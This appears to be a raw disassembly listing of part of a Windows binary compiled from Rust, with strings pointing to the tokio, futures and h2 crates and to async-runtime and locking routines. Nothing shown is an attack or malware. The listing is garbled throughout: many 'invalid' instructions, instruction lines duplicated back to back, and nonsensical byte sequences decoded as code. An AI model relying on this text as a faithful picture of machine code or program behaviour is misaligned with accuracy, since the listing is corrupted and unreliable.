add esp, 0x240
pop rsi
jmp 0x140096980
nop
add rsp, 0x240
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014de48]
jno 0x140096cd1
add byte [rdx + 0x23], bh
jno 0x140096cd1
add byte [rdx + 0x23], bh
call fcn.140108350
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014de88]
mov edx, 0x25
call fcn.140108350
invalid
invalid
invalid
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x38], rax
lea rax, [fcn.140012f00]
add edx, eax
idiv edi
add edx, eax
idiv edi
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rax, str.current:___sub:
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 2
lea rdx, [0x14014ded0]
lea rcx, [rsp + 0x58]
call fcn.140108280
lea rax, str.waker_missing
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x58]
call fcn.140108280
int3
adc dword [rax + rax*8 - 0x74b68a8b], eax
xchg byte [rax], bh
add al, byte [rax]
add byte [rax - 1], cl
enter 0xffffffffffff8949, 0xffffffffffffff86
cmp byte [rdx], al
add byte [rax], al
mov bl, 1
cmp rax, 1
jne 0x140096e4e
mov rax, qword [r14 + 0x1b8]
mov rcx, qword [r14 + 0x1c0]
mov qword [r14 + 0x1b8], 0
test rax, rax
je 0x140096e4a
call qword [rax + 8]
jmp 0x140096e4a
jle 0x140096e3b
movzx eax, byte [r14 + 0x11]
test al, al
jne 0x140096e4a
mov rax, qword [r14 + 0x238]
dec rax
dec eax
mov qword [r14 + 0x238], rax
cmp rax, 1
je 0x140096df2
test bl, bl
je 0x140096e5a
mov rax, qword [0x140182308]
test rax, r12
jne 0x140096eb7
xor eax, eax
xchg byte [rdi], al
cmp al, 2
invalid
je 0x140096e88
add dh, byte [rsi + riz - 0x10]
dec qword [r14]
lock dec qword [r14]
je 0x140096e97
mov rax, qword [rsi + 8]
lock dec qword [rax]
jne 0x140096ea9
mov rcx, qword [rsi + 8]
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
invalid
pop r14
pop r15
jmp fcn.140087250
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
lock dec qword [r14]
jne case.0x140092c4a.40
mov rcx, rsi
call fcn.140005c50
mov rax, qword [rsi + 8]
lock dec qword [rax]
dec qword [rax]
je 0x140096e72
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
call fcn.140110270
test al, al
jne 0x140096e5a
mov byte [r15], 1
jmp 0x140096e5a
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xf98
movaps xmmword [rsp + 0xf80], xmm6
sldt word [rax]
sldt word [rax]
mov rdi, rdx
mov rsi, rcx
movzx eax, byte [rcx + 0xa58]
lea rcx, [0x140177d48]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rdx, [rsi + 0x10]
movups xmm6, xmmword [rsi]
mov byte [rsi + 0xa59], 1
mov rax, qword [rsi + 0x530]
mov qword [rsi + 0xa60], rax
xchg byte [rax + 0xa], ah
add byte [rax], al
xchg byte [rax + 0xa], ah
add byte [rax], al
lea rcx, [rsi + 0xa68]
mov r8d, 0x520
add byte [rax], al
add byte [rax], al
call fcn.140106250
movups xmmword [rsi + 0xf88], xmm6
jmp 0x140096f4d
cmp qword [rsi + 0xf88], 3
je 0x1400974bd
sldt word [rax]
add ecx, dword [rdi]
test byte [rax + 5], dh
add byte [rax], al
lea rbx, [rsi + 0xa68]
mov rcx, rbx
mov rdx, rdi
call fcn.140097530
cmp al, 2
jne 0x140096fe8
mov rax, qword [rsi + 0xf88]
sldt word [rax]
cmp rax, 2
je case.0x140095486.23
test rax, rax
je 0x1400974ed
mov r15, qword [rsi + 0xf90]
test r15, r15
je 0x140097152
mov rax, qword [r15 + 0x18]
mov rcx, qword [rax]
test rcx, rcx
jne 0x140096fcc
lea r14, [rsi + 0xf90]
mov r13, qword [sym.imp.kernel32.dll_SwitchToThread]
nop dword [rax + rax]
mov rcx, qword [r15 + 0x10]
cmp rcx, rax
je 0x14009704c
call r13
mov rax, qword [r15 + 0x18]
mov rcx, qword [rax]
test rcx, rcx
je 0x140096fb0
invalid
in al, 0x49
mov dword [rdi + 0x18], ecx
mov qword [r15 + 0x18], rcx
lea rcx, str.assertion_failed:__next_.value.is_some__
lea r8, [0x14013d4f8]
mov edx, 0x29
call fcn.140108350
mov r15, qword [rsi + 0xf88]
mov r12, qword [rsi + 0xf90]
mov qword [rsi + 0xf88], 3
cmp r15, 3
je case.0x140093e62.38
mov ebp, eax
lea rcx, [rsp + 0x30]
mov r8d, 0x520
mov rdx, rbx
call fcn.140106250
mov qword [rsp + 0x550], r15
mov qword [rsp + 0x558], r12
and al, 0x58
add eax, 0x7c830000
and al, 0x30
invalid
je 0x140097041
and al, 0x58
add eax, 0x7c830000
and al, 0x30
add esi, dword [rdx + rcx + 0x48]
lea ecx, [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.140098250
mov r13d, 4
jmp 0x14009723c
mov rax, qword [r14]
mov rax, qword [rax + 0x38]
test rax, rax
je 0x14009713c
mov rbp, qword [r14]
test rbp, rbp
je 0x140097511
mov rcx, qword [rdi]
mov edx, 1
xor eax, eax
lock cmpxchg qword [rbp + 0x58], rdx
cmp rax, 2
invalid
je 0x1400970a4
add dh, byte [rsi + riz + 0x48]
test eax, eax
test rax, rax
jne 0x140097113
mov rdx, qword [rbp + 0x48]
mov rax, qword [rcx]
add dword [rax - 0x7b], ecx
invalid
je 0x1400970b1
add dword [rax - 0x7b], ecx
sal byte [rsi + rbx + 0x48], cl
mov ecx, dword [rcx + 8]
mov rcx, qword [rcx + 8]
cmp qword [rbp + 0x50], rcx
jne case.0x14007337a.256
cmp rdx, rax
je 0x1400970d5
invalid
xor ebp, ebx
adc dword [rax - 0x75], ecx
add dword [rax - 0x75], ecx
or byte [r8 - 0x7d], cl
rcl byte [rax], 0xeb
push rsi
jmp case.0x14007337a.256
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
add rax, 0x10
jmp 0x140097107
mov rcx, qword [rcx + 8]
call qword [rax]
mov r15, rax
mov r12, rdx
mov rax, qword [rbp + 0x48]
test rax, rax
je 0x1400970cd
mov rcx, qword [rbp + 0x50]
call qword [rax + 0x18]
push rax
sbb byte [rcx + rcx*4 + 0x7d], cl
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x48], r15
mov qword [rbp + 0x50], r12
xor ecx, ecx
mov eax, 1
lock cmpxchg qword [rbp + 0x58], rcx
je 0x140097113
mov rax, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x50]
mov qword [rbp + 0x48], 0
test rax, rax
je 0x14009751d
xor edx, edx
xchg qword [rbp + 0x58], rdx
add rax, 8
invalid
invalid
ror byte [rax], 0xff
adc bl, ch
or byte [rdi], cl
invalid
call qword [rax]
jmp 0x140097113
add byte [rcx - 1], al
invalid
call r13
mov rax, qword [rbp + 0x18]
mov rcx, qword [rax]
or byte [rax - 0x7b], cl
leave
sbb byte [r8 - 0x75], r9b
or byte [rax - 0x7b], cl
leave
jne 0x14009747d
mov rcx, qword [rbp + 0x10]
cmp rcx, rax
jne 0x140097110
mov rax, qword [r14]
mov eax, dword [rsi]
mov rax, qword [rax + 0x38]
test rax, rax
jne 0x140097220
mov rax, qword [r14]
test rax, rax
je 0x140097152
lock dec qword [rax]
jne 0x140097152
mov rcx, r14
call fcn.140088a10
mov qword [rsi + 0xf90], 0
cmp qword [rsi + 0xf88], 0
je 0x140097505
mov qword [rsi + 0xf88], 2
mov qword [rsp + 0x30], 0
add byte [rax - 0x39], cl
and al, 0x30
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x30]
call fcn.140098890
movups xmm6, xmmword [rsi + 0xf88]
sldt word [rax]
sldt word [rax]
mov r14, qword [rsi + 0xf88]
mov qword [rsi + 0xf88], 3
cmp r14, 3
add ecx, dword [rdi]
test ch, ch
add al, byte [rax]
invalid
add ecx, dword [rdi]
test ch, ch
add al, byte [rax]
add byte [rax - 0x73], cl
and al, 0x30
lea rcx, [rsp + 0x30]
mov r8d, 0x520
mov rdx, rbx
call fcn.140106250
movups xmmword [rsp + 0x550], xmm6
add byte [rax], al
add byte [rax], al
mov r13, qword [rsi + 0xa68]
movzx ebp, byte [rsi + 0xa70]
mov eax, dword [rsi + 0xa74]
mov dword [rsp + 0x2b], eax
mov eax, dword [rsi + 0xa71]
mov dword [rsp + 0x28], eax
mov r15, qword [rsi + 0xa78]
or al, byte [rax]
add byte [rbx + rcx*4 - 0x5a], cl
or byte [rdx], 0
add byte [rax - 0x73], cl
xchg esi, eax
mov byte [rdx], cl
add byte [rax], al
or al, byte [rax]
add byte [rbx + rcx*4 - 0x5a], cl
or byte [rdx], 0
add byte [rax - 0x73], cl
xchg esi, eax
mov byte [rdx], cl
add byte [rax], al
lea rcx, [rsp + 0x560]
mov r8d, 0x500
call fcn.140106250
test r14, 0xfffffffffffffffd
jne 0x140097229
invalid
cmp r13, 5
jne 0x14009723c
mov al, 1
mov cl, 3
jmp 0x14009745b
lea rcx, [rsp + 0x558]
call fcn.140098890
invalid
add byte [rax], al
cmp r13, 5
je 0x140097220
invalid
lea r14, [rsi + 0x538]
lea esi, [rsi + 0x538]
mov qword [rsi + 0x538], r13
mov byte [rsi + 0x540], bpl
mov eax, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x2b]
mov dword [rsi + 0x541], eax
mov dword [rsi + 0x544], ecx
mov qword [rsi + 0x548], r15
mov qword [rsi + 0x550], r12
mov dword [rsi + 0x550], esp
mov dword [rsi + 0x550], esp
lea rcx, [rsi + 0x558]
lea rdx, [rsp + 0x560]
mov r8d, 0x500
add al, ch
ret
out dx, eax
invalid
invalid
add al, ch
ret
mov rax, qword [rsi + 0xf88]
cmp rax, 3
je 0x1400972ba
cmp dword [rbx], 3
je 0x1400972ae
mov rcx, rbx
call fcn.140098250
mov rax, qword [rsi + 0xf88]
test rax, 0xfffffffffffffffd
jne 0x14009739f
cmp dword [r14], 4
je 0x1400973b5
lea rcx, [rsp + 0xa60]
mov r8d, 0x520
add byte [rcx + rcx*4 - 0xe], cl
add byte [rcx + rcx*4 - 0xe], cl
call fcn.140106250
mov byte [rsi + 0xa59], 0
mov rbx, qword [rsi + 0xa60]
or al, byte [rax]
add byte [rax - 0x4b], al
add dword [rax + 0x40438601], esi
out dx, eax
invalid
or al, byte [rax]
add byte [rax - 0x4b], al
add dword [rax + 0x40438601], esi
mov al, 1
xchg byte [rbx + 0x20], al
test al, al
jne 0x140097316
mov rax, qword [rbx + 0x10]
mov rcx, qword [rbx + 0x18]
mov qword [rbx + 0x10], 0
adc byte [r8], al
add byte [rax], al
add byte [rcx], dh
rol byte [rsi - 0x7ab7dfad], cl
invalid
je 0x140097316
call qword [rax + 8]
xchg byte [rbx + 0x38], bpl
test bpl, bpl
jne 0x14009733c
mov rax, qword [rbx + 0x28]
mov rcx, qword [rbx + 0x30]
mov qword [rbx + 0x28], 0
test rax, rax
je case.0x140095dbc.16
call qword [rax + 0x18]
xor eax, eax
xchg byte [rbx + 0x38], al
lea r14, [rsi + 0xa60]
lock dec qword [rbx]
jne 0x140097351
mov rcx, rbx
call fcn.140066310
lea rdx, [rsp + 0xa60]
add byte [rax], al
mov r8d, 0x520
mov rcx, r14
call fcn.140106250
lea rbx, [rsi + 0xa60]
mov rcx, rbx
mov rdx, rdi
call fcn.140097530
cmp al, 2
jne 0x140097386
mov al, 1
mov cl, 4
jmp 0x14009745b
cmp dword [rbx], 3
je 0x140097393
mov rcx, rbx
call fcn.140098250
cmp qword [rsi + 0x538], 4
je 0x1400973b5
lea rcx, [rsi + 0xf90]
call fcn.140098890
cmp dword [r14], 4
jne 0x1400972c4
test byte [rsi + 0x548], 1
jne 0x140097437
cmp byte [rsi + 0xa59], 0
je 0x140097450
add byte [rbx - 0x79fe4fff], dh
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
jne 0x1400973ff
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov qword [rdi + 0x10], 0
add byte [rcx], dh
rol byte [rsi - 0x7ab7dfa9], cl
push rdi
and byte [rax - 0x7b], cl
invalid
je 0x1400973ff
add byte [rcx], dh
rol byte [rsi - 0x7ab7dfa9], cl
push rdi
and byte [rax - 0x7b], cl
push rdi
and byte [rax - 0x7b], cl
sal byte [rbx + rax - 1], 0x50
or byte [rsi - 0x247bc7a1], al
call qword [rax + 8]
xchg byte [rdi + 0x38], bl
test bl, bl
jne 0x140097423
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
mov qword [rdi + 0x28], 0
sub byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
je 0x14009741e
call qword [rax + 0x18]
xor eax, eax
xchg byte [rdi + 0x38], al
invalid
invalid
cmp r8b, r14b
dec qword [rdi]
lock dec qword [rdi]
jne 0x140097450
mov rcx, qword [rsi + 0xa60]
call fcn.140066310
jmp 0x140097450
lea rcx, [rsi + 0x550]
call fcn.140098890
cmp byte [rsi + 0xa59], 0
add byte [rdi], cl
test dword [rbx - 1], edi
invalid
invalid
invalid
add byte [rdi], cl
test dword [rbx - 1], edi
invalid
invalid
mov byte [rsi + 0xa59], 0
mov cl, 1
xor eax, eax
mov byte [rsi + 0xa58], cl
movaps xmm6, xmmword [rsp + 0xf80]
add rsp, 0xf98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rbp + 0x18], rcx
lea rcx, str.assertion_failed:__next_.value.is_some__
lea r8, [0x14013d4f8]
lea eax, [0x14013d4f8]
mov edx, 0x29
add byte [rax], al
add al, ch
mov bh, 0xe
invalid
invalid
add byte [rax], al
add al, ch
mov bh, 0xe
invalid
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, [0x1401423d0]
lea eax, [0x1401423d0]
lea eax, [0x1401423d0]
mov edx, 0x28
call fcn.140108350
lea rcx, [0x14013fed0]
call fcn.140108880
lea rcx, str.cannot_poll_Select_twiceC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_select.rs
lea r8, [0x1401423b8]
lea eax, [0x1401423b8]
mov edx, 0x18
call fcn.1401086b0
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs8
mov edx, 0x36
call fcn.14010cf20
lea rcx, [0x14013c901]
lea r8, [0x14013c9a0]
or al, byte [rax]
or al, byte [rax]
mov edx, 0x1a
call fcn.1401086b0
lea rcx, [0x14013c9b8]
push rsp
or al, byte [rax]
call fcn.140108690
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
call fcn.140108690
jae 0x14009752c
invalid
invalid
jae 0x14009752c
invalid
lea rcx, [0x140115290]
call fcn.140108690
ud2
int3
cmp eax, 3
je 0x14009818b
call fcn.1400dfa40
mov rbx, rax
mov dword [rsp + 0x28], edx
mov rbp, qword [rsi + 0x518]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x68], rax
mov cl, 1
xor eax, eax
lock cmpxchg byte [rbp + 0x10], cl
jne 0x140097e4e
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140097e6b
mov dword [rsp + 0x2c], 0
mov qword [rsp + 0x70], rbx
movzx eax, byte [rbp + 0x11]
test al, al
jne 0x140097e87
mov rax, qword [rsi + 0x518]
mov rbx, qword [rax]
lea r12, [rsi + 0x4e8]
cmp dword [rsi + 0x4f0], 0x3b9aca00
je 0x14009768b
cmp rbx, 3
setb dl
lea r13, [rbp + 0x18]
mov rcx, r12
mov r8, r13
call fcn.140039630
cmp byte [rsi + 0x511], 1
jne 0x14009768b
mov r14, qword [rsi + 0x508]
mov r15, qword [rdi]
mov rcx, r14
mov rdx, r15
call fcn.1400f4440
test al, al
jne 0x14009768b
mov eax, dword [rbp + 0x50]
cmp eax, 0x3b9aca00
je 0x1400981d3
mov rcx, qword [rbp + 0x48]
add rcx, qword [r12]
jb 0x1400981a3
add eax, dword [rsi + 0x4f0]
cmp eax, 0x3b9aca00
jb 0x14009764a
inc rcx
je 0x1400981a3
add eax, 0xc4653600
xor edx, edx
cmp rcx, qword [r14 + 0x10]
setne dl
mov ecx, 0xff
cmovb edx, ecx
xor r8d, r8d
cmp eax, dword [r14 + 0x18]
setne r8b
cmovb r8d, ecx
test dl, dl
cmovne r8d, edx
cmp r8b, 1
jne 0x140097a19
mov byte [rsi + 0x511], 0
mov rax, qword [r15]
mov rcx, qword [r15 + 8]
call qword [rax + 0x10]
cmp dword [rbp + 0x30], 0x3b9aca00
jne 0x140097aa5
mov ebx, 2
cmp byte [rsp + 0x2c], 0
jne 0x1400976b7
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009804d
xor eax, eax
mov rcx, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
xchg byte [rcx], al
cmp al, 2
je 0x140097fbf
test ebx, ebx
je 0x140097fcd
mov r14, rsi
cmp ebx, 1
je 0x1400977db
jmp 0x1400976e2
mov r15, qword [r14 + 0x408]
lea rcx, [r15 + 0x10]
mov dl, 1
xor eax, eax
lock cmpxchg byte [r15 + 0x10], dl
jne 0x14009799a
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400979b8
xor eax, eax
movzx edx, byte [r15 + 0x11]
test dl, dl
jne 0x1400979d2
mov bl, 1
cmp qword [r15 + 0x30], 0
jne 0x140097733
cmp qword [r15 + 0x40], 0
je 0x1400978d4
test al, al
jne 0x14009774a
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140097ec2
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x140097758
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bl, bl
jne 0x1400977ab
mov rcx, qword [r14 + 0x408]
add rcx, 0x10
lea rbx, [r14 + 0x3a8]
call fcn.140099750
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x54], 0
lea rax, [0x14013db38]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
xorpd xmm0, xmm0
movupd xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14001f660
lea rcx, [rsp + 0xa0]
mov rdx, r14
mov r8, rdi
call fcn.140099850
movzx eax, byte [rsp + 0xa0]
cmp eax, 3
je 0x1400977db
cmp eax, 4
jne 0x140097867
mov al, 2
jmp 0x140097986
mov bpl, 5
cmp dword [rsi], 3
je 0x14009816c
mov rcx, rsi
call fcn.140098250
mov qword [rsi], 3
cmp bpl, 5
je 0x14009797f
mov byte [rsp + 0x30], bpl
mov byte [rsp + 0x31], r14b
mov dword [rsp + 0x34], ebx
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x38], edi
movapd xmm0, xmmword [rsp + 0x80]
movupd xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
movzx eax, bpl
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x14009797f
test eax, eax
je 0x14009797f
cmp eax, 1
jne 0x14009792e
lea rcx, [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
call qword [rdi + 0x10]
jmp 0x14009797f
movupd xmm0, xmmword [rsp + 0xa0]
movupd xmm1, xmmword [rsp + 0xb0]
movapd xmmword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x50], rax
movapd xmmword [rsp + 0x40], xmm1
movzx eax, byte [rsp + 0x30]
cmp eax, 2
je 0x1400978ec
cmp eax, 1
jne 0x140097919
mov rdi, qword [rsp + 0x38]
movapd xmm0, xmmword [rsp + 0x40]
movapd xmmword [rsp + 0x80], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x90], rax
mov ebx, dword [rsp + 0x34]
mov bpl, 1
movzx r14d, byte [rsp + 0x31]
jmp 0x1400977de
cmp qword [r15 + 0x238], 2
setae bl
test al, al
jne 0x14009774a
jmp 0x140097737
movzx ecx, byte [rsp + 0x31]
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x38], rax
jne 0x140097a04
movzx edi, cl
shl rdi, 0x20
or rdi, 3
mov bpl, 4
jmp 0x1400977de
mov ebx, dword [rsp + 0x34]
mov edi, dword [rsp + 0x38]
movzx r14d, byte [rsp + 0x31]
xor ebp, ebp
jmp 0x1400977de
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x14009797f
lea rsi, [rdi - 1]
mov rbx, qword [rdi - 1]
mov rdi, qword [rdi + 7]
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14009796d
cmp qword [rdi + 0x10], 0x11
jb 0x14009795b
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp bpl, 5
setne al
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rbx, rcx
call fcn.1401101b0
invalid
mov byte [rdi], al
add byte [rax - 0x77], cl
invalid
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x140097710
invalid
mov rbx, rcx
call fcn.140110270
mov rcx, rbx
xor al, 1
movzx edx, byte [r15 + 0x11]
test dl, dl
je 0x14009771f
mov qword [rsp + 0x30], rcx
mov byte [rsp + 0x38], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013ed08]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.140108600
lea rdx, [rsp + 0x38]
call fcn.14001f210
mov rdi, rax
mov bpl, 4
jmp 0x1400977de
mov rcx, r13
call fcn.140035f10
mov byte [rsi + 0x511], 2
call fcn.1400dfa40
add rax, qword [rsi + 0x4f8]
jb 0x1400981a3
mov r8d, edx
add r8d, dword [rsi + 0x500]
cmp r8d, 0x3b9aca00
jb 0x140097a89
inc rax
je 0x1400981a3
add r8d, 0xc4653600
cmp r8d, 0x3b9aca00
jb 0x140097a89
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rax, rcx
jb 0x14009820f
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
mov rcx, qword [rsi + 0x508]
mov rdx, rax
call fcn.1400f47c0
cmp dword [rbp + 0x30], 0x3b9aca00
je 0x140097698
mov r13, qword [rbp + 0x58]
mov rcx, qword [rdi]
mov edx, 1
xor eax, eax
lock cmpxchg qword [r13 + 0x40], rdx
cmp rax, 2
je 0x140097af4
test rax, rax
jne 0x140097b59
mov rdx, qword [r13 + 0x30]
mov rax, qword [rcx]
test rdx, rdx
je 0x140097b01
mov rcx, qword [rcx + 8]
cmp qword [r13 + 0x38], rcx
jne 0x140097b05
cmp rdx, rax
jne 0x140097b05
xor ecx, ecx
mov eax, 1
lock cmpxchg qword [r13 + 0x40], rcx
jne 0x140097b34
jmp 0x140097b59
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
add rax, 0x10
jmp 0x140097b57
mov rcx, qword [rcx + 8]
mov ecx, dword [rcx + 8]
call qword [rax]
mov r14, rax
mov r15, rdx
mov rax, qword [r13 + 0x30]
test rax, rax
je 0x140097b1d
mov rcx, qword [r13 + 0x38]
call qword [rax + 0x18]
mov qword [r13 + 0x30], r14
mov qword [r13 + 0x38], r15
xor ecx, ecx
mov eax, 1
lock cmpxchg qword [r13 + 0x40], rcx
je 0x140097b59
mov rax, qword [r13 + 0x30]
mov rcx, qword [r13 + 0x38]
mov qword [r13 + 0x30], 0
test rax, rax
je 0x1400981eb
xor edx, edx
xchg qword [r13 + 0x40], rdx
add rax, 8
call qword [rax]
xor ecx, ecx
mov eax, 3
lock cmpxchg qword [r13 + 0x10], rcx
cmp rax, 3
je 0x140097bf2
cmp rax, 4
je 0x140097f8c
cmp dword [rsi + 0x4f0], 0x3b9aca00
je 0x140097f8c
cmp byte [rsi + 0x511], 2
jb 0x140097f8c
mov rcx, qword [rsi + 0x508]
mov rdx, qword [rdi]
call fcn.1400f4440
test al, al
jne 0x140097f8c
cmp dword [rsi + 0x4f0], 0x3b9aca00
je 0x140098123
mov r14, qword [rsi + 0x508]
mov rcx, r14
call fcn.1400ec9d0
lea rcx, [r14 + 8]
cmp qword [r14], 0
je 0x1400980f3
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x140098101
call fcn.140039790
jmp 0x140098101
mov r8d, dword [rbp + 0x30]
cmp r8d, 0x3b9aca00
je 0x1400981bb
mov rdx, qword [rbp + 0x28]
mov dword [rbp + 0x30], 0x3b9aca00
mov r13, qword [rsp + 0x70]
mov qword [rsp + 0x30], r13
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x38], eax
lea rcx, [rsp + 0x30]
call fcn.1400d5e50
mov r15d, edx
xor r14d, r14d
cmp edx, 0x3b9aca00
cmovne r14d, edx
cmp dword [rsi + 0x4f0], 0x3b9aca00
je 0x140097c80
mov qword [rsp + 0x78], rax
lea r13, [rbp + 0x18]
cmp dword [rbp + 0x50], 0x3b9aca00
je 0x140097c64
invalid
or al, 0xe8
jrcxz 0x140097cd8
call fcn.1400dfa40
add al, 0
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x50], edx
cmp rbx, 3
setb dl
mov rcx, r12
mov r8, r13
call fcn.140039630
mov r13, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
cmp dword [rsi + 0x4c8], 0x3b9aca00
je 0x140097f8c
cmp qword [rbp + 0x18], 0
je 0x1400981f7
mov rdx, rax
mov rcx, qword [rbp + 0x20]
mov qword [rbp + 0x18], 1
mov qword [rbp + 0x20], 0
mov eax, dword [rsi + 0x4e0]
cmp rax, 0x1000000
je 0x140097d81
xorpd xmm0, xmm0
xorpd xmm1, xmm1
cmp r15d, 0x3b9aca00
je 0x140097cf6
movq xmm2, rdx
punpckldq xmm2, xmmword [0x1401126d0]
subpd xmm2, xmmword [0x1401126e0]
movapd xmm1, xmm2
unpckhpd xmm1, xmm2
addsd xmm1, xmm2
outsb dx, byte [rsi]
shl byte [rsi + 0xf], cl
invalid
mov edx, r14d
xorps xmm2, xmm2
cvtsi2sd xmm2, rdx
divsd xmm2, qword [0x140112a50]
addsd xmm2, xmm1
movsd xmm1, qword [rsi + 0x4d8]
movapd xmm3, xmm2
subsd xmm3, xmm1
mulsd xmm3, qword [0x140112a58]
movsd xmm4, qword [rsi + 0x4d0]
addsd xmm3, xmm1
cmpeqsd xmm0, xmm1
andpd xmm2, xmm0
andnpd xmm0, xmm3
orpd xmm0, xmm2
movlpd qword [rsi + 0x4d8], xmm0
movq xmm2, rcx
punpckldq xmm2, xmmword [0x1401126d0]
subpd xmm2, xmmword [0x1401126e0]
movapd xmm1, xmm2
unpckhpd xmm1, xmm2
mulsd xmm0, qword [0x140112a60]
addsd xmm1, xmm2
divsd xmm1, xmm0
ucomisd xmm4, xmm1
jbe 0x140097edf
mov r9, qword [rsi + 0x4c0]
mov ecx, dword [rsi + 0x4c8]
cmp r9, 9
ja 0x140097df4
mov eax, dword [rsi + 0x4e4]
inc eax
mov dword [rsi + 0x4e4], eax
cmp eax, 1
jbe 0x140097df4
mov r8d, ecx
shl r8, 2
movabs rdx, 0x44b82fa0a
mov rax, r8
mul rdx
imul eax, edx, 0x3b9aca00
sub r8d, eax
shr ecx, 7
imul rax, rcx, 0x112e0bf
shr rax, 0x2d
lea r9, [rax + r9*4]
mov qword [rsi + 0x4c0], r9
mov dword [rsi + 0x4c8], r8d
mov dword [rsi + 0x4e4], 0
mov ecx, r8d
add r13, r9
jb 0x1400981a3
add ecx, dword [rsp + 0x28]
cmp ecx, 0x3b9aca00
jb 0x140097f85
inc r13
je 0x1400981a3
add ecx, 0xc4653600
cmp ecx, 0x3b9aca00
jb 0x140097f85
mov eax, ecx
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add r13, rax
jb 0x14009820f
imul eax, eax, 0x3b9aca00
sub ecx, eax
jmp 0x140097f85
mov rcx, qword [rsp + 0x68]
call fcn.1401101b0
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14009759d
call fcn.140110270
xor al, 1
mov dword [rsp + 0x2c], eax
mov qword [rsp + 0x70], rbx
movzx eax, byte [rbp + 0x11]
test al, al
je 0x1400975b6
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x2c]
mov byte [rsp + 0x38], al
